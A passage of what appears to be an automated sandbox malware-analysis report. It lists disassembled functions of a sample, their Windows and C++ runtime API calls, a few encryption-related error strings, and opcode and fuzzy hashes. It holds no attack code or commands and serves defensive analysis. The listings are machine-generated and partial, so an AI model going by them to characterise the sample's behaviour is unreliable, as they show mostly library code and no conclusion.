                                  • API ID: Concurrency::details::$Base::$Scheduler$Context$Throttling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_EntryExerciseFoundH_prolog3_catchInterlockedListNextNotifyProcessor::RingSchedulingSpinStartupThrottledTicket::TimerUntilWith
                                  • String ID:
                                  • API String ID: 2678502038-0
                                  • Opcode ID: 19b773f214a92d81b0263ae4e59a1b4458d1b18e08398e6443640f62689cc304
                                  • Instruction ID: 1c227f5e41e8f24e542cd00254440be443ef7995922e7122b824310e67d730b5
                                  • Opcode Fuzzy Hash: 19b773f214a92d81b0263ae4e59a1b4458d1b18e08398e6443640f62689cc304
                                  • Instruction Fuzzy Hash: 64313670B00251AECF16AB7845827FEBBB67F65302F0846A5DC46E7242EA384D4DC792
                                  Function 00A81376 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00A8437A: GetLastError.KERNEL32(000000FF,00000000,00A713F8,00000000,00000000,?,00A718DE,00000000,00000000,009FBDFF,?,000000FF), ref: 00A8437E
                                    • Part of subcall function 00A8437A: _free.LIBCMT ref: 00A843B1
                                    • Part of subcall function 00A8437A: SetLastError.KERNEL32(00000000,00000000,009FBDFF,?,000000FF), ref: 00A843F2
                                    • Part of subcall function 00A8437A: _abort.LIBCMT ref: 00A843F8
                                  • _memcmp.LIBVCRUNTIME ref: 00A81620
                                  • _free.LIBCMT ref: 00A81691
                                  • _free.LIBCMT ref: 00A816AA
                                  • _free.LIBCMT ref: 00A816DC
                                  • _free.LIBCMT ref: 00A816E5
                                  • _free.LIBCMT ref: 00A816F1
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: _free$ErrorLast$_abort_memcmp
                                  • String ID: C
                                  • API String ID: 1679612858-1037565863
                                  • Opcode ID: 6e9e9f9a2fcf1988929489b8b0cf19b652323fa90672b4146bb9e695f4b6759a
                                  • Instruction ID: 48132006f277d84860bde57bea95e260e3b177b69ce3c10c7e942c8e6cc5e31e
                                  • Opcode Fuzzy Hash: 6e9e9f9a2fcf1988929489b8b0cf19b652323fa90672b4146bb9e695f4b6759a
                                  • Instruction Fuzzy Hash: 60B14D75A01219DFDB24EF18C984AADB7B8FF48314F5445EAE84AA7350E770AE91CF40
                                  Function 009CD5C0 Relevance: 12.4, APIs: 8, Instructions: 350fileCOMMON
                                  Download Yara Rule
                                  APIs
                                  • SetErrorMode.KERNEL32(00008003,215D2A08,00000000,75923560), ref: 009CD61D
                                  • CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,08000000,00000000), ref: 009CD645
                                  • GetFileSize.KERNEL32(00000000,00000000), ref: 009CD69E
                                  • SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000000), ref: 009CD6D8
                                  • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,-00AE0110,00000000,-00AE0110,00000000), ref: 009CD74F
                                  • SetFilePointerEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000,00000001), ref: 009CD8DB
                                  • WriteFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,00000000,00000000,00000001), ref: 009CD917
                                  • CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,00000000,00000001), ref: 009CD91E
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: File$Pointer$CloseCreateErrorHandleModeReadSizeWrite
                                  • String ID:
                                  • API String ID: 1214154791-0
                                  • Opcode ID: 2a5aa9dd12aa925cb61f7164a6b05c446fa0e56a9d2d180b9088ebe2d7df29dd
                                  • Instruction ID: 4b3407b55fbb81da70110764468d1bd981d6ed811faf9a92cd8e2df60461eb9f
                                  • Opcode Fuzzy Hash: 2a5aa9dd12aa925cb61f7164a6b05c446fa0e56a9d2d180b9088ebe2d7df29dd
                                  • Instruction Fuzzy Hash: 44D1BB71D01258EBDF14DFA4CD85BDEBBB5AF49304F1042A8E508AB281DBB45A84CF92
                                  Function 00A5EF87 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80COMMON
                                  Download Yara Rule
                                  APIs
                                  • __EH_prolog3.LIBCMT ref: 00A5EF8E
                                  • List.LIBCONCRT ref: 00A5F00C
                                  • std::invalid_argument::invalid_argument.LIBCONCRT ref: 00A5F031
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A5F03F
                                  • __EH_prolog3.LIBCMT ref: 00A5F04C
                                  • Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 00A5F070
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: FreeH_prolog3ProcessorVirtual$Concurrency::details::Exception@8ListRootRoot::Throwstd::invalid_argument::invalid_argument
                                  • String ID: pExecutionResource
                                  • API String ID: 721108208-359481074
                                  • Opcode ID: 52d1f924621e5b8ebff6c4c1b7ba1861f4655b0504c511ed0dd6cbb18fadf8d6
                                  • Instruction ID: 61fc15a6fd7828c5d213c13b4e52011749b0e951d1b115969ac594d0de904345
                                  • Opcode Fuzzy Hash: 52d1f924621e5b8ebff6c4c1b7ba1861f4655b0504c511ed0dd6cbb18fadf8d6
                                  • Instruction Fuzzy Hash: 3721A775A00305ABCF08EF64C942BAD77B5BF58301F504459F9056B282DB70EE05CBA0
                                  Function 00A4CF40 Relevance: 12.1, APIs: 8, Instructions: 149COMMON
                                  Download Yara Rule
                                  APIs
                                  • std::locale::_Init.LIBCPMT ref: 00A4CF70
                                    • Part of subcall function 00A389F6: __EH_prolog3.LIBCMT ref: 00A389FD
                                    • Part of subcall function 00A389F6: std::_Lockit::_Lockit.LIBCPMT ref: 00A38A08
                                    • Part of subcall function 00A389F6: std::locale::_Setgloballocale.LIBCPMT ref: 00A38A23
                                    • Part of subcall function 00A389F6: std::_Lockit::~_Lockit.LIBCPMT ref: 00A38A79
                                  • std::_Lockit::_Lockit.LIBCPMT ref: 00A4CFAC
                                  • std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00A4CFF4
                                  • __Getcvt.LIBCPMT ref: 00A4D001
                                    • Part of subcall function 009C2A30: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 009C2A56
                                    • Part of subcall function 009C2A30: std::_Lockit::~_Lockit.LIBCPMT ref: 009C2AEA
                                  • std::locale::_Locimp::_New_Locimp.LIBCPMT ref: 00A4D044
                                  • std::_Lockit::_Lockit.LIBCPMT ref: 00A4D064
                                  • std::_Lockit::~_Lockit.LIBCPMT ref: 00A4D085
                                  • std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00A4D094
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: std::_$Lockit$std::locale::_$Lockit::_Lockit::~_$Locimp::_Locinfo::_$AddfacGetcvtH_prolog3InitLocimpLocimp_Locinfo_ctorLocinfo_dtorNew_Setgloballocale
                                  • String ID:
                                  • API String ID: 1428944335-0
                                  • Opcode ID: cc933a4b957209914c812b9ca9c6516006992ff015b074e53790600f5848c7c3
                                  • Instruction ID: 49b037e46c25ead496d49f21c6ca273fbd83589cd1c1e1d10c8cd0c8f05517c5
                                  • Opcode Fuzzy Hash: cc933a4b957209914c812b9ca9c6516006992ff015b074e53790600f5848c7c3
                                  • Instruction Fuzzy Hash: D951F170C00748DFDB21DFA8C941B9EBBF4FF54304F104269E809AB292EB74AA45CB91
                                  Function 00A06600 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 310COMMON
                                  Download Yara Rule
                                  APIs
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A067A3
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A067E3
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A06981
                                  Strings
                                  • PK_DefaultDecryptionFilter: ciphertext too long, xrefs: 00A0677A
                                  • PK_DefaultEncryptionFilter: plaintext too long, xrefs: 00A06958
                                  • : invalid ciphertext, xrefs: 00A067B7
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Exception@8Throw
                                  • String ID: : invalid ciphertext$PK_DefaultDecryptionFilter: ciphertext too long$PK_DefaultEncryptionFilter: plaintext too long
                                  • API String ID: 2005118841-2902848663
                                  • Opcode ID: d083196d840b9c57fe81b6019159d26af7656a35bca7d32d8500cf34fe386aa8
                                  • Instruction ID: 804b8b00f554548f22c5c85980843ea8304b59f22f8ac025ece48a8984effb70
                                  • Opcode Fuzzy Hash: d083196d840b9c57fe81b6019159d26af7656a35bca7d32d8500cf34fe386aa8
                                  • Instruction Fuzzy Hash: C4B1AB71A00709AFCB24DFA4D984FAEBBF4FF48704F104A2CE54697690EB71A918CB50
                                  Function 00A8D3AE Relevance: 10.7, APIs: 7, Instructions: 204COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: _free
                                  • String ID:
                                  • API String ID: 269201875-0
                                  • Opcode ID: 81fa763173186a0e8987b2e21256ec632b6089875821f7dca7a35dc30dcbfd7e
                                  • Instruction ID: d0c778ab6e94714fb79d51ff9ac07eb937e9983721b2d495e5bf6a1c704d327f
                                  • Opcode Fuzzy Hash: 81fa763173186a0e8987b2e21256ec632b6089875821f7dca7a35dc30dcbfd7e
                                  • Instruction Fuzzy Hash: B261C271D00205AFDB24EF68D841BAEBBF5FF49720F2441ABE955EB281E7309D418B90
                                  Function 00A84FAD Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • GetConsoleCP.KERNEL32(?,00A7AB2E,E0830C40,?,?,?,?,?,?,00A85722,00A38F76,00A7AB2E,?,00A7AB2E,00A7AB2E,00A38F76), ref: 00A84FEF
                                  • __fassign.LIBCMT ref: 00A8506A
                                  • __fassign.LIBCMT ref: 00A85085
                                  • WideCharToMultiByte.KERNEL32(?,00000000,00A7AB2E,00000001,?,00000005,00000000,00000000), ref: 00A850AB
                                  • WriteFile.KERNEL32(?,?,00000000,00A85722,00000000,?,?,?,?,?,?,?,?,?,00A85722,00A38F76), ref: 00A850CA
                                  • WriteFile.KERNEL32(?,00A38F76,00000001,00A85722,00000000,?,?,?,?,?,?,?,?,?,00A85722,00A38F76), ref: 00A85103
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                                  • String ID:
                                  • API String ID: 1324828854-0
                                  • Opcode ID: ddd2dd257b24f3c739d0d065321372794731832e1ca12425f620433cf34ccb8b
                                  • Instruction ID: e682ee2496f6158e212aa80e6931189212ec522eeee0b583474e06ad36876628
                                  • Opcode Fuzzy Hash: ddd2dd257b24f3c739d0d065321372794731832e1ca12425f620433cf34ccb8b
                                  • Instruction Fuzzy Hash: 60515FB1D006499FDF10DFA8D889BEEBBB9FF09300F14425AE955E7291E7709941CB60
                                  Function 009FC470 Relevance: 10.6, APIs: 7, Instructions: 135COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeGetcvtRegister
                                  • String ID:
                                  • API String ID: 2755674607-0
                                  • Opcode ID: 65212a0e527692ead9f859dec26c10dd46c5c6a39561802c0d6c6cad4c685f1d
                                  • Instruction ID: af4176e80ced73a173eaf526436bd0dddc2aac0b8033a19ba40f8509e9eef3b8
                                  • Opcode Fuzzy Hash: 65212a0e527692ead9f859dec26c10dd46c5c6a39561802c0d6c6cad4c685f1d
                                  • Instruction Fuzzy Hash: 5251B3B1D047488FCB10DF68CA81BAAB7B4EF18710F148259F946AB251EB35FA45CB91
                                  Function 00A655C6 Relevance: 10.6, APIs: 7, Instructions: 129COMMON
                                  Download Yara Rule
                                  APIs
                                  • __EH_prolog3_catch.LIBCMT ref: 00A655CD
                                  • Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 00A65618
                                  • Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 00A6564B
                                  • Concurrency::details::_RefCounter::_Release.LIBCONCRT ref: 00A656D3
                                  • Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 00A656FB
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountCounter::_H_prolog3_catchRegisterReleaseStateState::_Structured
                                  • String ID:
                                  • API String ID: 1066115758-0
                                  • Opcode ID: 3fa1e61ca808e56d6ffd98e6e75adc2c76dfaade3cfec5951ed7fa4d51f8e504
                                  • Instruction ID: 40752f9c09a660fc407259ae665e10b44bbf00c4be8bb5c988adae2455cc9a05
                                  • Opcode Fuzzy Hash: 3fa1e61ca808e56d6ffd98e6e75adc2c76dfaade3cfec5951ed7fa4d51f8e504
                                  • Instruction Fuzzy Hash: CA4184B5E00605AFCB14DF79C9919ADFBB5FF88310B54822DE826A7380DB34E945CB90
                                  Function 00A6F518 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 129COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • Replicator::operator[].LIBVCRUNTIME ref: 00A6F582
                                  • Replicator::operator+=.LIBCMT ref: 00A6F63D
                                  • DName::operator+=.LIBCMT ref: 00A6F659
                                  • DName::operator+=.LIBVCRUNTIME ref: 00A6F664
                                  • DName::operator+=.LIBCMT ref: 00A6F676
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Name::operator+=$Replicator::operator+=Replicator::operator[]
                                  • String ID: ...
                                  • API String ID: 2179263970-440645147
                                  • Opcode ID: 4f52d2efca17bcba046fcbac1f76b2a920720944527dc0a57adb09f18c416749
                                  • Instruction ID: eb5180ed1972a59ec0bfbca3797133f5eec199f0571d1d51e73535822938266e
                                  • Opcode Fuzzy Hash: 4f52d2efca17bcba046fcbac1f76b2a920720944527dc0a57adb09f18c416749
                                  • Instruction Fuzzy Hash: 204115749052C09EDB14DFA8E5947AABBF5EB96300F2880ADD0469B2A5DB3D8D45CB20
                                  Function 00A690D0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON
                                  Download Yara Rule
                                  APIs
                                  • _ValidateLocalCookies.LIBCMT ref: 00A69107
                                  • ___except_validate_context_record.LIBVCRUNTIME ref: 00A6910F
                                  • _ValidateLocalCookies.LIBCMT ref: 00A69198
                                  • __IsNonwritableInCurrentImage.LIBCMT ref: 00A691C3
                                  • _ValidateLocalCookies.LIBCMT ref: 00A69218
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                                  • String ID: csm
                                  • API String ID: 1170836740-1018135373
                                  • Opcode ID: 11c68b96da0a494bdcbf9b0c21efcc1fc80fd4bb7f801d5844863657b4592176
                                  • Instruction ID: 0f89ca29d73648fc3d4466af450a2189c82fa0cc4518134f6dc143387c2fdc06
                                  • Opcode Fuzzy Hash: 11c68b96da0a494bdcbf9b0c21efcc1fc80fd4bb7f801d5844863657b4592176
                                  • Instruction Fuzzy Hash: 3E418634E0021AEFCF10DF68CC85A9FBBB9AF46324F248155E9159B392D731AE51CB91
                                  Function 00A628CD Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00A628F5
                                    • Part of subcall function 00A62662: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00A62695
                                    • Part of subcall function 00A62662: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00A626B7
                                  • Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00A62972
                                  • Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 00A6297E
                                  • Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 00A6298D
                                  • Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00A62997
                                  • Concurrency::location::_Assign.LIBCMT ref: 00A629CB
                                  • Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00A629D3
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
                                  • String ID:
                                  • API String ID: 1924466884-0
                                  • Opcode ID: 289ecb5750442402da67493530b1848a65cdbde5c25bd89933b85da0a20aa3bc
                                  • Instruction ID: bff6c7e1283c7622fec69d3b6dee5ab2432b5c02b7515b9cb9b224c1cba0cd39
                                  • Opcode Fuzzy Hash: 289ecb5750442402da67493530b1848a65cdbde5c25bd89933b85da0a20aa3bc
                                  • Instruction Fuzzy Hash: A9414B76A00215AFCF05DFA4C595BADB7B5BF88310F1480A9ED499B382DB34AA41CF91
                                  Function 00A5D5F0 Relevance: 10.6, APIs: 7, Instructions: 82threadCOMMON
                                  Download Yara Rule
                                  APIs
                                  • __EH_prolog3.LIBCMT ref: 00A5D5F7
                                    • Part of subcall function 00A39401: mtx_do_lock.LIBCPMT ref: 00A39409
                                  • Concurrency::details::_CancellationTokenState::TokenRegistrationContainer::remove.LIBCONCRT ref: 00A5D629
                                  • Concurrency::details::_RefCounter::_Release.LIBCONCRT ref: 00A5D635
